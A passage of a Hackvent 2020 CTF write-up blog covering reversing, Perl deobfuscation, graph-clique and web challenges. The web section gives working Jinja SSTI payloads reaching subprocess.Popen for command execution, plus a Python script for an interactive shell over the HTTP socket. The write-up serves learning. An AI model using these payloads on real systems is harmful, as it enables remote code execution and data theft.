input:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv07_03.png\" width=\"800px\"\/><\/p>\n\n<p>This is straight forward, too. Our input is <span class=\"hl\">XOR<\/span>ed with a value initialized with <span class=\"hl\">42<\/span>, which is adjusted on each loop iteration by adding the current loop index <span class=\"hl\">k<\/span> and subtracting <span class=\"hl\">4<\/span>. By creating a python script, which performs the same steps with the expected output (\"<span class=\"hl\">DinosAreLit<\/span>\"), we can calculated the required input:<\/p>\n\n<code>kali@kali:~\/hv20\/07$ cat rev0r.py \n#!\/usr\/bin\/env python3\n\ns = 'DinosAreLit'\nb = 42\nr = ''\nfor k, c in enumerate(s):\n  r += chr(ord(c) ^ b)\n  b = b + k - 4\nprint(r)\n<\/code>\n\n<p>Running the script yields the string we need to input (\"<span class=\"hl\">nOMNSaSFjC[<\/span>\"):<\/p>\n\n<code>kali@kali:~\/hv20\/07$ .\/rev0r.py \nnOMNSaSFjC[\n<\/code>\n\n<p>The last part of the code performs a validation of the flag by comparing the <span class=\"hl\">SHA1<\/span> checksum of an <span class=\"hl\">XOR<\/span>ed static string with a predefined value:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv07_04.png\" width=\"800px\"\/><\/p>\n\n<p>The last thing to do is to test the tree possible values for the first input. The value <span class=\"hl\">.B.u.m.Bhu.m.WXi.t.h.T.h.e.T.u.m.T.u.m<\/span> successfully yields the flag:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv07_05.png\" width=\"600px\"\/><\/p>\n\n\n<p>The flag is <span class=\"hl\">HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"08\">HV20.08 The game<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/08.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_fun.png\" width=\"20px\"\/> Fun<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_rev.png\" width=\"20px\"\/> Reverse Engineering<\/td><\/tr>\n<tr><td>Author:<\/td><td>M. (who else)<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nLet's play another little game this year. Once again, as every year, I promise it is hardly obfuscated.\n\n<span class=\"fake_link\">Download<\/span>\n\n\n<b>Requirements<\/b>\n\nPerl\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided file is an obfuscated perl script ...<\/p>\n\n<code>kali@kali:~\/hv20\/08$ head game.txt \neval eval '\"'.\n('['^'.').('['^'(').('`'|'%').('{'^'[').('{'^'\/').('`'|'%').('['^')').('`'|'-').':'.':'.('{'^')').('`'|'%').('`'|'!').('`'|'$').('`'^'+').('`'|'%').('['^'\"').';'.('{'^')').('`'|'%').('`'|'!').('`'|'$').('`'^'-').('`'|'\/').('`'|'$').('`'|'%').('{'^\"\\[\").(\n'^'^('`'|'+')).';'.'\\\\'.'$'.'|'.'='.('^'^('`'|'\/')).';'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'\/').'\\\\'.'\"'.'\\\\'.'\\\\'.('`'|'%').('`'|'#').'\\\\'.'\\\\'.('`'|'%').'['.('^'^('`'|',')).('`'^'*').'\\\\'.'\\\\'.('`'|'%').'['.'?'.('^'^('`'|',')).('^'^('`'|'+'))\n.('`'|',').'\\\\'.'\\\\'.('`'|'%').'['.'?'.('^'^('`'|')')).('`'|',').'\\\\'.'\\\\'.('`'|'%').'['.('^'^('`'|'\/')).';'.('^'^('`'|'\/')).('`'^'(').'\\\\'.'\\\\'.('`'|'%').'['.('^'^('`'|'.')).';'.('^'^('`'|'.')).('['^')').'\\\\'.'\"'.';'.'\\\\'.'@'.('`'^'&').('`'^'&').('=').(\n'['^'(').('['^'+').('`'|',').('`'|')').('['^'\/').'\/'.'\/'.','.\"'\".'#'.'#'.'#'.'#'.('`'^'(').'#'.('{'^'-').'#'.('^'^('`'|',')).'#'.('^'^('`'|'.')).'#'.'\\\\'.'{'.'#'.('`'|'(').'#'.('['^'\/').'#'.('['^'\/').'#'.('['^'+').'#'.('['^'(').'#'.':'.'#'.'\/'.'#'.('\/').\n'#'.('['^',').'#'.('['^',').'#'.('['^',').'#'.'.'.'#'.('['^'\"').'#'.('`'|'\/').'#'.('['^'.').'#'.('['^'\/').'#'.('['^'.').'#'.('`'|'\"').'#'.('`'|'%').'#'.'.'.'#'.('`'|'#').'#'.('`'|'\/').'#'.('`'|'-').'#'.'\/'.'#'.('['^',').'#'.('`'|'!').'#'.('['^'\/').\"\\#\".(\n'`'|\"\\#\").                                                                                                                                                                                                                                          '#'.(\"\\`\"|\n'(').\"\\#\".                                                                                                                                                                                                                                          '?'.\"\\#\".(\n'['^\"\\-\").                                                                                                                                                                                                                                          '#'.('=').\n'#'.(\"\\`\"|                                                                                                                                                                                                                                          '$').'#'.(\n<\/code>\n\n<p>..., which is a tetris game:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv08_01.png\"\/><\/p>\n\n<p>Some of the blocks seem to contain the single letters of the flag. Thus it seems that we have to survive long enough in order to see the full flag.  But we will prefer to have a closer look at the source code.<\/p>\n\n<p>There are two <span class=\"hl\">eval<\/span> instructions at the beginning. Thus the inner <span class=\"hl\">eval<\/span> should produce valid perl code, which is evaluated by the outer <span class=\"hl\">eval<\/span>. In order to display this code, we can simply replace the outer <span class=\"hl\">eval<\/span> with <span class=\"hl\">print<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/08$ head -n1 game_mod.txt \nprint eval '\"'.\n<\/code>\n\n<p>If we now run the adjusted script, we get the less obfuscated code:<\/p>\n\n<code>kali@kali:~\/hv20\/08$ perl game_mod.txt                                                                                                                     \nuse Term::ReadKey;ReadMode 5;$|=1;print\"\\ec\\e[2J\\e[?25l\\e[?7l\\e[1;1H\\e[0;0r\";@FF=split\/\/,'####H#V#2#0#{#h#t#t#p#s#:#\/#\/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#\/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####';@BB=(89,51,30,27,75,294);$w=11;$h=23;print(\"\\e[1;1H\\e[103m\".(' 'x(2*$w+2)).\"\\e[0m\\r\\n\".((\"\\e[103m \\e[0m\".(' 'x(2*$w)).\"\\e[103m \\e[0m\\r\\n\")x$h).\"\\e[103m\".(' 'x(2*$w+2)).\"\\e[2;1H\\e[0m\");sub bl{($b,$bc,$bcc,$x,$y)=@_;for$yy(0..2){for$xx(0..5){print(\"\\e[${bcc}m\\e[\".($yy+$y+2).\";\".($xx+$x*2+2).\"H${bc}\")if((($b&(0b111&lt;&lt;($yy*3)))&gt;&gt;($yy*3))&(4&gt;&gt;($xx&gt;&gt;1)));}}}sub r{$_=shift;($_&4)&lt;&lt;6|($_&32)&lt;&lt;2|($_&256)&gt;&gt;2|($_&2)&lt;&lt;4|($_&16)|($_&128)&gt;&gt;4|($_&1)&lt;&lt;2|($_&8)&gt;&gt;2|($_&64)&gt;&gt;6;}sub _s{($b,$bc,$x,$y)=@_;for$yy(0..2){for$xx(0..5){substr($f[$yy+$y],($xx+$x),1)=$bc if(((($b & (0b111&lt;&lt;($yy*3)))&gt;&gt;($yy*3))&(4&gt;&gt;$xx)));}}$Q='QcXgWw9d4';@f=grep{\/ \/}@f;unshift @f,(\" \"x$w)while(@f&lt;$h);p();}sub cb{$_Q='ljhc0hsA5';($b,$x,$y)=@_;for$yy(0..2){for$xx(0..2){return 1 if(((($b&(0b111&lt;&lt;($yy*3)))&gt;&gt;($yy*3))&(4&gt;&gt;$xx))&&(($yy+$y&gt;=$h)||($xx+$x&lt;0)||($xx+$x&gt;=$w)||(substr($f[$yy+$y],($xx+$x),1) ne ' ')));}}}sub p{for$yy(0..$#f){print(\"\\e[\".($yy+2).\";2H\\e[0m\");$_=$f[$yy];s\/.\/$&$&\/gg;print;}};sub k{$k='';$k.=$c while($c=ReadKey(-1));$k;};sub n{$bx=5;$by=0;$bi=int(rand(scalar @BB));$__=$BB[$bi];$_b=$FF[$sc];$sc&gt;77&&$sc&lt;98&&$sc!=82&&eval('$_b'.\"=~y#$Q#$_Q#\")||$sc==98&&$_b=~s\/.\/0\/;$sc++;}@f=(\" \"x$w)x$h;p();n();while(1){$k=k();last if($k=~\/q\/);$k=substr($k,2,1);$dx=($k eq 'C')-($k eq 'D');$bx+=$dx unless(cb($__,$bx+$dx,$by));if($k eq 'A'){unless(cb(r($__),$bx,$by)){$__=r($__)}elsif(!cb(r($__),$bx+1,$by)){$__=r($__);$bx++}elsif(!cb(r($__),$bx-1,$by)){$__=r($__);$bx--};}bl($__,$_b,101+$bi,$bx,$by);select(undef,undef,undef,0.1);if(cb($__,$bx,++$by)){last if($by&lt;2);_s($__,$_b,$bx,$by-1);n();}else{bl($__,\" \",0,$bx,$by-1);}}sleep(1);ReadMode 0;print\"\\ec\";\n<\/code>\n\n<p>Right at the beginning we can actually see a string, which seems to be the flag outputed via the blocks:<\/p>\n\n<code>...\n@FF=split\/\/,'####H#V#2#0#{#h#t#t#p#s#:#\/#\/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#\/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####';\n...<\/code>\n\n<p>By removing the <span class=\"hl\">#<\/span> characters, we get a flag:<\/p>\n\n<code>kali@kali:~\/hv20\/08$ echo '####H#V#2#0#{#h#t#t#p#s#:#\/#\/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#\/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####'|tr -d '#'\nHV20{https:\/\/www.youtube.com\/watch?v=dQw4w9WgXcQ}<\/code>\n\n<p>Seems a little bit too easy, doesn't it? Let's have a look at the youtube link:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv08_02.png\" width=\"600px\"\/><\/p>\n\n<p>Looks like we are not done yet.<\/p>\n\n<p>After identing the code and getting a quick overview the following procedure looks interesting:<\/p>\n\n<code>...\nsub n{\n  $bx=5;\n  $by=0;\n  $bi=int(rand(scalar @BB));\n  $__=$BB[$bi];\n  $_b=$FF[$sc];\n  $sc&gt;77&&$sc&lt;98&&$sc!=82&&eval('$_b'.\"=~y#$Q#$_Q#\")||$sc==98&&$_b=~s\/.\/0\/;\n  $sc++;\n}\n...<\/code>\n\n<p>The relevant variable here is <span class=\"hl\">$_b<\/span>, which is set to <span class=\"hl\">$FF[$sc]<\/span>. As we have already seen <span class=\"hl\">$FF<\/span> contains the troll flag. <span class=\"hl\">$sc<\/span> contains the number of blocks so far. At the next line we can see that if <span class=\"hl\">$sc<\/span> is greater than <span class=\"hl\">77<\/span>, smaller than <span class=\"hl\">98<\/span> and not equal to <span class=\"hl\">82<\/span>, <span class=\"hl\">$_b<\/span> is replaced with another value: <span class=\"hl\">eval('$_b'.\"=~y#$Q#$_Q#\")<\/span>. This simply means that the characters of <span class=\"hl\">$_b<\/span>, which are present in <span class=\"hl\">$Q<\/span> are replaced with the character at the corresponding index of <span class=\"hl\">$_Q<\/span>. Here is a quick example:<\/p>\n\n<code>$Q  = '01';\n$_Q = 'ab';\n$_b = '012300112233';\neval('$_b'.\"=~y#$Q#$_Q#\");\nprint $_b.\"\\n\";\n<\/code>\n\n<p>In this case all occurences of <span class=\"hl\">0<\/span> are replaced with <span class=\"hl\">a<\/span> and all occurences of <span class=\"hl\">1<\/span> with <span class=\"hl\">b<\/span>. This results in the following output:<\/p>\n\n<code>kali@kali:~\/hv20\/08$ perl example.pl\nab23aabb2233\n<\/code>\n\n<p>By extracting the relevant parts of the script and adding a loop, which runs from <span class=\"hl\">0<\/span> to <span class=\"hl\">100<\/span>, we can produce the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/08$ cat flag.pl\n@FF=split\/\/,'####H#V#2#0#{#h#t#t#p#s#:#\/#\/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#\/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####';\n$Q ='QcXgWw9d4';\n$_Q='ljhc0hsA5';\n\nfor ((0..100)) {\n  $sc = $_;\n  $_b=$FF[$sc];\n  $sc=$_;\n  $sc&gt;77 && $sc&lt;98 && $sc!=82&&eval('$_b'.\"=~y#$Q#$_Q#\")||$sc==98&&$_b=~s\/.\/0\/;\n  print $_b;\n}\nprint \"\\n\"\n<\/code>\n\n<p>Running the script outputs the actual flag (again we remove the <span class=\"hl\">#<\/span>):<\/p>\n\n<code>kali@kali:~\/hv20\/08$ perl \/tmp\/test|tr -d '#'\nHV20{https:\/\/www.youtube.com\/watch?v=Alw5hs0chj0}\n<\/code>\n\n<p>This time the youtube link looks more accurate:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv08_03.png\" width=\"600px\"\/><\/p>\n\n<p>The flag is <span class=\"hl\">HV20{https:\/\/www.youtube.com\/watch?v=Alw5hs0chj0}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"09\">HV20.09 Santa's Gingerbread Factory<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/09.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_pt.png\" width=\"20px\"\/> Penetration Testing<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_web.png\" width=\"20px\"\/> Web Security<\/td><\/tr>\n<tr><td>Author:<\/td><td>inik<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nHere you can customize your absolutely fat-free gingerbread man.\n\nNote: Start your personal instance from the <span class=\"hl\">RESOURCES<\/span> section on top.\n\n\n<b>Goal \/ Mission<\/b>\n\nBesides the gingerbread men, there are other goodies there. Let's see if you can get the goodie, which is stored in <span class=\"hl\">\/flag.txt<\/span>.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided website shows a gingerbread man, which can be customized. Also a name (default: <span class=\"hl\">Hacker<\/span>) can be entered:<\/p>\n\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv09_01.png\" width=\"800px\"\/><\/p>\n\n<p>When the form is submitted in order to customize the gingerbread man, a <span class=\"hl\">POST<\/span> request is issued. The name is stored in the <span class=\"hl\">POST<\/span>-parameter <span class=\"hl\">name<\/span>. After trying a few payloads, we can see that the websites seems vulnerable to <a href=\"https:\/\/portswigger.net\/research\/server-side-template-injection\" rel=\"noopener noreferrer\" target=\"_blank\">Server-Side Template Injection<\/a> (<span class=\"hl\">SSTI<\/span>) using the payload <span class=\"hl\">{{7*7}}<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/09$ curl 'https:\/\/abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land\/' -d 'name={{7*7}}'\n...\n ------------------\n( Hello, mighty 49 )\n ------------------\n...\n<\/code>\n\n<p>Further we can assume that the <span class=\"hl\">Jinja<\/span> template engine is used, since a characteristic of <span class=\"hl\">Jinja<\/span> is that the payload <span class=\"hl\">{{7*\"7\"}}<\/span> evaluates to <span class=\"hl\">7777777<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/09$ curl 'https:\/\/abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land\/' -d 'name={{7*\"7\"}}'\n...\n -----------------------\n( Hello, mighty 7777777 )\n -----------------------\n...\n<\/code>\n\n<p>In order to gain <span class=\"hl\">RCE<\/span>, we need to climb up the object hierarchy. We start with the payload <span class=\"hl\">{{\"\".__class__.__mro__}}<\/span>, which references an empty string (<span class=\"hl\">\"\"<\/span>), its class (<span class=\"hl\">__class__<\/span>) and all classes within its inheritance hierarchy (<span class=\"hl\">__mro__<\/span>):<\/p>\n\n<code>kali@kali:~\/hv20\/09$ curl 'https:\/\/abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land\/' -d 'name={{\"\".__class__.__mro__}}'\n...\n ------------------------------\n( Hello, mighty (&lt;type &#39;str&#39;&gt;, )\n( &lt;type &#39;basestring&#39;&gt;, &lt;type   )\n( &#39;object&#39;&gt;)                   )\n ------------------------------\n...\n<\/code>\n\n<p>What we are really looking here for is the class <span class=\"hl\">object<\/span>, which can be referenced using the index <span class=\"hl\">2<\/span> according to the output above.<\/p>\n\n<p>Using the <span class=\"hl\">object<\/span> class, we can list all subclasses:<\/p>\n\n<code>kali@kali:~\/hv20\/09$ curl 'https:\/\/abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land\/' -d 'name={{\"\".__class__.__mro__[2].__subclasses__()}}'\n...\n --------------------------------\n( Hello, mighty [&lt;type &#39;type&#39;&gt;,  )\n( &lt;type &#39;weakref&#39;&gt;, &lt;type        )\n( &#39;weakcallableproxy&#39;&gt;, &lt;type    )\n( &#39;weakproxy&#39;&gt;, &lt;type &#39;int&#39;&gt;,    )\n( &lt;type &#39;basestring&#39;&gt;, &lt;type     )\n( &#39;bytearray&#39;&gt;, &lt;type &#39;list&#39;&gt;,   )\n( &lt;type &#39;NoneType&#39;&gt;, &lt;type       )\n...\n( &lt;class &#39;subprocess.Popen&#39;&gt;,    )\n...\n<\/code>\n\n\n<p>Now we have got a list of all classes, which are inherited from <span class=\"hl\">object<\/span>. The class we are looking for is <span class=\"hl\">subprocess.Popen<\/span>, since it allows use to execute OS commands. In order to reference it, we need to determine its index. In order to do this, we can separate the subclass list by <span class=\"hl\">,<\/span> (comma) and check at which position <span class=\"hl\">subprocess.Popen<\/span> is located:<\/p>\n\n<code>kali@kali:~\/hv20\/09$ cat subclasses.txt|tr -d $'\\n'|tr ',' '\\n'|nl|grep subprocess\n   259         )( &lt;class &#39;subprocess.Popen&#39;&gt;\n<\/code>\n\n<p>Since <span class=\"hl\">nl<\/span> starts with <span class=\"hl\">1<\/span>, the actual index of <span class=\"hl\">subprocess.Popen<\/span> is <span class=\"hl\">258<\/span>.<\/p>\n\n<p>We can now run arbitrary OS commands. In order to see the output of those commands within the HTTP response, we need to use the method <span class=\"hl\">communicate<\/span> and pass <span class=\"hl\">-1<\/span> for <span class=\"hl\">stdin<\/span> and <span class=\"hl\">stdout<\/span> within the call to <span class=\"hl\">subprocess.Popen<\/span>. The <span class=\"hl\">-1<\/span> equals <span class=\"hl\">subprocess.PIPE<\/span> (we cannot use the name of the constant because it is not defined within the jinja scope).<\/p>\n\n<p>Finally let's run <span class=\"hl\">cat \/flag.txt<\/span>:<\/p>\n\n\n<code>kali@kali:~\/hv20\/09$ curl 'https:\/\/abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land\/' -d 'name={{\"\".__class__.__mro__[2].__subclasses__()[258]([\"cat\",\"\/flag.txt\"],stdin=-1,stdout=-1).communicate()[0]}}'\n...\n --------------------------------\n( Hello, mighty HV20{SST1_N0t_0N )\n( LY_H1Ts_UB3R!!!}               )\n --------------------------------\n...\n<\/code>\n\n<p>In order to get a more clean shell, we can leverage <span class=\"hl\">dup2<\/span> to bind <span class=\"hl\">stdin<\/span> and <span class=\"hl\">stdout<\/span> to the HTTP socket connection and then run an arbitrary OS command. This is a bit hacky because the HTTP connection is established between the reverse proxy and the docker container running the app. Thus we must send a valid HTTP response, because the reverse proxy won't forward the response back to us otherwise. The actual HTTP response from the application, which follows our crafted HTTP response, will be dropped by the reverse proxy:<\/p>\n\n<code>kali@kali:~\/hv20\/09$ cat clean_shell.py \n#!\/usr\/bin\/env python3\n\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nurl = 'https:\/\/abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land'\nh = {'Content-Type':'application\/x-www-form-urlencoded'}\nwhile True:\n  cmd = input('$ ')\n  d = 'name={{\\'\\'.__class__.__mro__[2].__subclasses__()[258]([\\'python\\',\\'-c\\',\\'import os,subprocess;os.dup2(5,0);os.dup2(5,1);r=subprocess.Popen([\"sh\",\"-c\",\"'+cmd+' 2&gt;%261\"],stdin=-1,stdout=-1).communicate()[0];print(\"HTTP\/1.1 200 OK\\\\\\\\r\\\\\\\\nContent-Length: \"%2bstr(len(r))%2b\"\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\n\"%2br)\\']).communicate()[0]}}'\n  r = requests.post(url, data=d, headers=h, verify=False)\n  print(r.text,end='')\n<\/code>\n\n<p>Using the script is a little bit more comfortable:<\/p>\n\n<code>kali@kali:~\/hv20\/09$ .\/clean_shell.py \n$ id\nuid=1000(runner) gid=1000(runner) groups=1000(runner)<\/code>\n\n<p><\/p>\n\n<code>$ ls -al\ntotal 8\ndrwxr-xr-x.   1 root root    6 Dec  9 12:15 .\ndrwxr-xr-x.   1 root root    6 Dec  9 12:15 ..\n-rwxr-xr-x.   1 root root    0 Dec  9 12:15 .dockerenv\ndrwxr-xr-x.   1 root root  179 Dec  8 14:11 bin\ndrwxr-xr-x.   2 root root    6 Sep 19 21:39 boot\ndrwxr-xr-x.   5 root root  340 Dec  9 12:15 dev\ndrwxr-xr-x.   1 root root   66 Dec  9 12:15 etc\n-rw-rw-r--.   1 root root   32 Oct 27 16:03 flag.txt\ndrwxr-xr-x.   1 root root   20 Dec  8 14:13 home\ndrwxr-xr-x.   1 root root   67 Dec  8 14:12 lib\ndrwxr-xr-x.   2 root root   34 Nov 17 00:00 lib64\ndrwxr-xr-x.   2 root root    6 Nov 17 00:00 media\ndrwxr-xr-x.   2 root root    6 Nov 17 00:00 mnt\ndrwxrwxr-x.   1 root root   17 Oct 27 16:03 opt\ndr-xr-xr-x. 471 root root    0 Dec  9 12:15 proc\ndrwx------.   1 root root   20 Dec  8 14:12 root\ndrwxr-xr-x.   3 root root   30 Nov 17 00:00 run\ndrwxr-xr-x.   2 root root 4096 Nov 17 00:00 sbin\ndrwxr-xr-x.   2 root root    6 Nov 17 00:00 srv\ndr-xr-xr-x.  13 root root    0 Nov 19 07:15 sys\ndrwxrwxrwt.   1 root root    6 Dec  8 14:12 tmp\ndrwxr-xr-x.   1 root root   19 Nov 17 00:00 usr\ndrwxr-xr-x.   1 root root   17 Nov 17 00:00 var\n<\/code>\n\n<p><\/p>\n\n<code>$ cat \/opt\/app\/app.py\n# flask_web\/app.py\n\nfrom flask import Flask,render_template,redirect, url_for, request\nfrom textwrap import wrap\nfrom jinja2 import Environment, BaseLoader\n\napp = Flask(__name__)\n\n@app.route('\/', methods=[\"POST\", \"GET\"])\ndef main(eyes=\"*\", name=\"Hacker\"):\n  eyes = request.form.get('eyes', \"*\")\n  name = request.form.get('name', \"Hacker\")\n\n  text = Environment(loader=BaseLoader()).from_string(\"Hello, mighty \" + name).render()\n  print(\"Text: \" + text)\n  t = wrap(text, width=30)\n  l = 0;\n  for line in t:\n    if len(line) &gt; l:\n      l = len(line);\n  bubble = ' ' + (l + 2) * '-' + '\\n' \n  for line in t:\n    bubble = bubble + '( ' + line + (l - len(line)) * ' ' + ' )\\n'\n  bubble = bubble + ' ' + (l + 2) * '-' \n  print(bubble)\n#  text = Environment.from_string('Hello ' + text).render()\n  if(eyes == 'vader'):\n    return render_template('vader.html', eyes=eyes, name=name, bubble=bubble)\n  else:\n    return render_template('regular.html', eyes=eyes, name=name, bubble=bubble)\n\nif __name__ == \"__main__\":\n  app.run(host='0.0.0.0' , port=7778, debug=True)<\/code>\n\n<p><\/p>\n\n<code>$ cat \/flag.txt\nHV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}$ \n<\/code>\n\n\n<p>The flag is <span class=\"hl\">HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"10\">HV20.10 Be patient with the adjacent<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/10.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_prog.png\" width=\"20px\"\/> Programming<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/nonsxd\" rel=\"noopener noreferrer\" target=\"_blank\">Bread<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nEver wondered how Santa delivers presents, and knows which groups of friends should be provided with the best gifts? It should be as great or as large as possible! Well, here is one way.\n\nHmm, I cannot seem to read the file either, maybe the internet knows?\n\n<span class=\"fake_link\">Download<\/span>\n\n\n<b>Hints<\/b>\n\nHope this cliques for you\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided file has the extension <span class=\"hl\">.col.b<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ ls -al\ntotal 21776\ndrwxr-xr-x  3 kali kali     4096 Dec 10 01:04 .\ndrwxr-xr-x 15 kali kali     4096 Dec 10 00:05 ..\n-rw-r--r--  1 kali kali 22278688 Dec 10 00:06 7b24b79f-d898-4480-bc1b-e09742f704f7.col.b\n<\/code>\n\n<p>A little bit of googling reveals that the file format is called <a href=\"https:\/\/reference.wolfram.com\/language\/ref\/format\/DIMACS.html\" rel=\"noopener noreferrer\" target=\"_blank\">DIMACS<\/a>. In this case we are dealing with the binary representation. In order to convert it to the more easily parsable ASCII format, we can use the following program: <a href=\"https:\/\/mat.tepper.cmu.edu\/COLOR\/format\/binformat.shar\" rel=\"noopener noreferrer\" target=\"_blank\">binformat.shar<\/a>. We only need the two files <span class=\"hl\">bin2asc.c<\/span> and <span class=\"hl\">genbin.h<\/span> and need to make some little adjustment to compile it.<\/p>\n\n<p>Within the file <span class=\"hl\">genbin.h<\/span> we need to set <span class=\"hl\">MAX_NR_VERTICES<\/span> and <span class=\"hl\">MAX_NR_VERTICESdiv8<\/span> to a value big enough, otherwise the program will segfault:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ cat genbin.h \n...\n#define MAX_NR_VERTICES 0x5000\n#define MAX_NR_VERTICESdiv8 0xa00\n...\n<\/code>\n\n<p>In the file <span class=\"hl\">bin2asc.c<\/span> we may add some header files and make the <span class=\"hl\">main<\/span> function return an integer in order to prevent warnings when compiling the program:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ cat bin2asc.c \n...\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n...\nint main(argc, argv)\n...\nreturn 0;\n}\n...\n<\/code>\n\n<p>Now we can compile the program using <span class=\"hl\">gcc<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ gcc bin2asc.c -o bin2asc\nkali@kali:~\/hv20\/10$ .\/bin2asc \nUsage: .\/bin2asc infile [outfile]\n<\/code>\n\n<p>The program can now be used to convert the binary format into ASCII:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ .\/bin2asc 7b24b79f-d898-4480-bc1b-e09742f704f7.col.b out.col<\/code>\n\n<p>The resulting file contains a comment with a reminder for santa as well as a huge list of edges:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ head out.col \nc -------------------------------- \nc Reminder for Santa:\nc   104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100 are the nicest kids.\nc   - bread.\nc -------------------------------- \np edges 18876 439050\ne 30 18\ne 42 24\ne 42 29\ne 48 7\n<\/code>\n\n<p>According to the hint we probably need to find <a href=\"https:\/\/en.wikipedia.org\/wiki\/Clique_(graph_theory)\" rel=\"noopener noreferrer\" target=\"_blank\">cliques<\/a> in the graph defined by all those edges. A clique is simply a group of vertices, which are all connected to each other.<\/p>\n\n<p>The challenge description mentions <span class=\"hl\">groups of friends<\/span>, which <span class=\"hl\">should be as great or as large as possible<\/span>. Also the reminder for santa contains a list of <span class=\"hl\">the nicest kids<\/span>.<\/p>\n\n<p>Accordingly the idea seems to be the following: find the clique in which the first nicest kid (<span class=\"hl\">104<\/span>) is and take the size\/length of this clique as the first ASCII character of the flag. Proceed with next nicest kid. The fact that each number of the nicest kids is unique supports this idea.<\/p>\n\n<p>When implementing the following python script, I noticed that it is sufficient to determine the <u>maximum<\/u> size\/length of a clique by intersecting the neighbors of a nicest kid and their neighbors vice versa. The script carries out the following steps:\n<ul>\n<li>read all edges from the file<\/li>\n<li>for each nicest kid, determine all neighbors<\/li>\n<li>for each of those neighbors, determine all neighbors vice versa<\/li>\n<li>intersect both groups of neighbors<\/li>\n<li>determine the maximum size of intersecting neighbors<\/li>\n<li>interpret this number (+2, since the nicest kid and the regarding neighbor are not included) as an ASCII character of the 